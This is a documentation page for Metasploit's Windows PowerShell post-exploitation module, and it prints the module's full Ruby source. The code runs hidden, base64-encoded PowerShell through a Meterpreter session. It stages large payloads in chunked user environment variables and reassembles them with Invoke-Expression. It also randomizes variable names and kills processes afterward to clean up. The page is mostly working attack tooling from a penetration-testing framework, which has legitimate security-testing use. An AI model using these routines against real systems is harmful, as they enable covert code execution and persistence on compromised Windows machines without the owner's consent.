Module: Msf::Post::Windows::Powershell

Includes:
Exploit::Powershell, Common
Defined in:
lib/msf/core/post/windows/powershell.rb

Overview

Powershell exploitation routines

Instance Method Summary collapse

Methods included from Common

#clear_screen, #cmd_exec, #cmd_exec_get_pid, #cmd_exec_with_result, #command_exists?, #create_process, #get_env, #get_envs, #peer, #report_virtualization, #rhost, #rport

Methods included from Exploit::Powershell

#bypass_powershell_protections, #cmd_psh_payload, #compress_script, #decode_script, #decompress_script, #encode_script, #generate_psh_args, #generate_psh_command_line, #make_subs, #process_subs, #read_script, #run_hidden_psh

Instance Method Details

#clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false) ⇒ Object

Clean up powershell script including process and chunks stored in environment variables



278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
# File 'lib/msf/core/post/windows/powershell.rb', line 278

def clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [],
             env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
  # Remove environment variables
  env_del_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
  env_del_command += "Select-String #{env_suffix}|%{"
  env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"

  script = compress_script(env_del_command, eof)
  cmd_out, new_running_pids, new_open_channels = execute_script(script)
  get_ps_output(cmd_out, eof)

  # Kill running processes, should mutex this...
  @session_pids = (@session_pids + running_pids + new_running_pids).uniq
  (running_pids + new_running_pids).uniq.each do |pid|
    begin
      if session.sys.process.processes.map { |x| x['pid'] }.include?(pid)
        session.sys.process.kill(pid)
      end
      @session_pids.delete(pid)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error "Failed to kill #{pid} due to #{e}"
    end
  end

  # Close open channels
  (open_channels + new_open_channels).uniq.each do |chan|
    chan.channel.close
  end

  ::File.delete(script_file) if script_file && delete
end

#execute_script(script, greedy_kill = false) ⇒ Object

Execute a powershell script and return the output, channels, and pids. The script is never written to disk.



89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# File 'lib/msf/core/post/windows/powershell.rb', line 89

def execute_script(script, greedy_kill = false)
  @session_pids ||= []
  running_pids = greedy_kill ? get_ps_pids : []
  open_channels = []
  # Execute using -EncodedCommand
  session.response_timeout = datastore['Powershell::Post::timeout'].to_i
  ps_bin = datastore['Powershell::Post::force_wow64'] ?
    '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'

  # Check to ensure base64 encoding - regex format and content length division
  unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
    script = encode_script(script.to_s)
  end

  ps_string = "-EncodedCommand #{script} -InputFormat None"
  vprint_good "EXECUTING:\n#{ps_bin} #{ps_string}"
  cmd_out = session.sys.process.execute(ps_bin, ps_string, { 'Hidden' => true, 'Channelized' => true })

  # Subtract prior PIDs from current
  if greedy_kill
    Rex::ThreadSafe.sleep(3) # Let PS start child procs
    running_pids = get_ps_pids(running_pids)
  end

  # Add to list of running processes
  running_pids << cmd_out.pid

  # All pids start here, so store them in a class variable
  (@session_pids += running_pids).uniq!

  # Add to list of open channels
  open_channels << cmd_out

  [cmd_out, running_pids.uniq, open_channels]
end

#get_powershell_versionObject

Returns the Powershell version



50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# File 'lib/msf/core/post/windows/powershell.rb', line 50

def get_powershell_version
  return nil unless have_powershell?

  process, _pid, _c = execute_script('$PSVersionTable.PSVersion')

  o = ''

  while (d = process.channel.read)
    if d == ""
      if (Time.now.to_i - start < time_out) && (o == '')
        sleep 0.1
      else
        break
      end
    else
      o << d
    end
  end

  o.scan(/[\d \-]+/).last.split[0, 2] * '.'
end

#get_ps_output(cmd_out, eof, read_wait = 5) ⇒ Object

Reads output of the command channel and empties the buffer. Will optionally log command output to disk.



235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
# File 'lib/msf/core/post/windows/powershell.rb', line 235

def get_ps_output(cmd_out, eof, read_wait = 5)
  results = ''

  if datastore['Powershell::Post::log_output']
    # Get target's computer name
    computer_name = session.sys.config.sysinfo['Computer']

    # Create unique log directory
    log_dir = ::File.join(Msf::Config.log_directory, 'scripts', 'powershell', computer_name)
    ::FileUtils.mkdir_p(log_dir)

    # Define log filename
    time_stamp  = ::Time.now.strftime('%Y%m%d:%H%M%S')
    log_file    = ::File.join(log_dir, "#{time_stamp}.txt")

    # Open log file for writing
    fd = ::File.new(log_file, 'w+')
  end

  # Read output until eof or nil return output and write to log
  loop do
    line = ::Timeout.timeout(read_wait) do
      cmd_out.channel.read
    end rescue nil
    break if line.nil?
    if line.sub!(/#{eof}/, '')
      results << line
      fd.write(line) if fd
      break
    end
    results << line
    fd.write(line) if fd
  end

  # Close log file
  fd.close if fd

  results
end

#get_ps_pids(pids = []) ⇒ Object

Get/compare list of current PS processes - nested execution can spawn many children doing checks before and after execution allows us to kill more children… This is a hack, better solutions are welcome since this could kill user spawned powershell windows created between comparisons.



78
79
80
81
82
83
# File 'lib/msf/core/post/windows/powershell.rb', line 78

def get_ps_pids(pids = [])
  current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] }
  # Subtract previously known pids
  current_pids = (current_pids - pids).uniq
  current_pids
end

#have_powershell?Boolean

Returns true if powershell is installed

Returns:

  • (Boolean)


43
44
45
# File 'lib/msf/core/post/windows/powershell.rb', line 43

def have_powershell?
  cmd_exec('cmd.exe', '/c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m
end

#initialize(info = {}) ⇒ Object



12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# File 'lib/msf/core/post/windows/powershell.rb', line 12

def initialize(info = {})
  super(
    update_info(
      info,
      'Compat' => {
        'Meterpreter' => {
          'Commands' => %w[
            stdapi_sys_config_sysinfo
            stdapi_sys_process_execute
            stdapi_sys_process_get_processes
            stdapi_sys_process_kill
          ]
        }
      }
    )
  )

  register_advanced_options(
    [
      OptInt.new('Powershell::Post::timeout',
                 [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
      OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
      OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
      OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
    ], self.class
  )
end

#psh_exec(script, greedy_kill = true, ps_cleanup = true) ⇒ Object

Simple script execution wrapper, performs all steps required to execute a string of powershell. This method will try to kill all powershell.exe PIDs which appeared during its execution, set greedy_kill to false if this is not desired.



316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
# File 'lib/msf/core/post/windows/powershell.rb', line 316

def psh_exec(script, greedy_kill = true, ps_cleanup = true)
  # Define vars
  eof = Rex::Text.rand_text_alpha(8)
  # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
  env_suffix = Rex::Text.rand_text_alpha(8)
  start = Rex::Text.rand_text_alpha(8)
  stop = Rex::Text.rand_text_alpha(8)
  script = "echo #{start};" + script + "; echo #{stop}"
  script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
  # Check to ensure base64 encoding - regex format and content length division
  unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
    script = encode_script(compress_script(script.to_s, eof), eof)
  end

  if datastore['Powershell::Post::dry_run']
    return "powershell -EncodedCommand #{script}"
  else
    # Check 8k cmd buffer limit, stage if needed
    if script.size > 8100
      vprint_error "Compressed size: #{script.size}"
      error_msg =  "Compressed size may cause command to exceed " \
                   "cmd.exe's 8kB character limit."
      vprint_error error_msg
      vprint_good 'Launching stager:'
      script = stage_cmd_env(script, env_suffix)
      print_good "Payload successfully staged."
    else
      print_good "Compressed size: #{script.size}"
    end

    vprint_good "Final command #{script}"

    # Execute the script, get the output, and kill the resulting PIDs
    cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
    if datastore['Powershell::Post::timeout'].to_i < 0
      out =  "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
      # print_error out
      return out
    end
    ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout'])
    ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1].strip  #https://stackoverflow.com/a/9661504
    # Kill off the resulting processes if needed
    if ps_cleanup
      vprint_good "Cleaning up #{running_pids.join(', ')}"
      clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
    end

    return ps_output
  end
end

#stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) ⇒ Object

Powershell scripts that are longer than 8000 bytes are split into 8000 byte chunks and stored as CMD environment variables. A new powershell script is built that will reassemble the chunks and execute the script. Returns the reassembly script.



131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# File 'lib/msf/core/post/windows/powershell.rb', line 131

def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
  # Check to ensure script is encoded and compressed
  if compressed_script =~ /\s|\.|\;/
    compressed_script = compress_script(compressed_script)
  end

  # Divide the encoded script into 8000 byte chunks and iterate
  index = 0
  count = 8000
  while index < compressed_script.size - 1
    # Define random, but serialized variable name
    env_variable = format("%05d%s", ((index + 8000) / 8000), env_suffix)

    # Create chunk
    chunk = compressed_script[index, count]

    # Build the set commands
    set_env_variable =  "[Environment]::SetEnvironmentVariable(" \
                        "'#{env_variable}'," \
                        "'#{chunk}', 'User')"

    # Compress and encode the set command
    encoded_stager = encode_script(compress_script(set_env_variable))

    # Stage the payload
    print_good " - Bytes remaining: #{compressed_script.size - index}"
    execute_script(encoded_stager, false)

    index += count
  end

  # Build the script reassembler
  reassemble_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
  reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
  reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
  reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
  reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"

  # Compress and encode the reassemble command
  encoded_script = encode_script(compress_script(reassemble_command))

  encoded_script
end

#stage_psh_env(script) ⇒ Object

Uploads a script into a Powershell session via memory (Powershell session types only). If the script is larger than 15000 bytes the script will be uploaded in a staged approach



179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
# File 'lib/msf/core/post/windows/powershell.rb', line 179

def stage_psh_env(script)
  begin
    ps_script = read_script(script)
    encoded_expression = encode_script(ps_script)
    cleanup_commands = []
    # Add entropy to script variable names
    script_var = ps_script.rig.generate(4)
    decscript = ps_script.rig.generate(4)
    scriptby = ps_script.rig.generate(4)
    scriptbybase = ps_script.rig.generate(4)
    scriptbybasefull = ps_script.rig.generate(4)

    if encoded_expression.size > 14999
      print_error "Script size: #{encoded_expression.size} This script requires a stager"
      arr = encoded_expression.chars.each_slice(14999).map(&:join)
      print_good "Loading #{arr.count} chunks into the stager."
      vararray = []
      arr.each_with_index do |slice, index|
        variable = ps_script.rig.generate(5)
        vararray << variable
        indexval = index + 1
        vprint_good "Loaded stage:#{indexval}"
        session.shell_command("$#{variable} = \"#{slice}\"")
        cleanup_commands << "Remove-Variable #{variable} -EA 0"
      end

      linkvars = ''
      vararray.each { |var| linkvars << " + $#{var}" }
      linkvars.slice!(0..2)
      session.shell_command("$#{script_var} = #{linkvars}")

    else
      print_good "Script size: #{encoded_expression.size}"
      session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
    end

    session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
    session.shell_command("$#{scriptby}  = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
    session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
    session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
    session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
    print_good "Module loaded"

    unless cleanup_commands.empty?
      vprint_good "Cleaning up #{cleanup_commands.count} stager variables"
      session.shell_command(cleanup_commands.join(';').to_s)
    end
  rescue Errno::EISDIR => e
    vprint_error "Unable to upload script: #{e.message}"
  end
end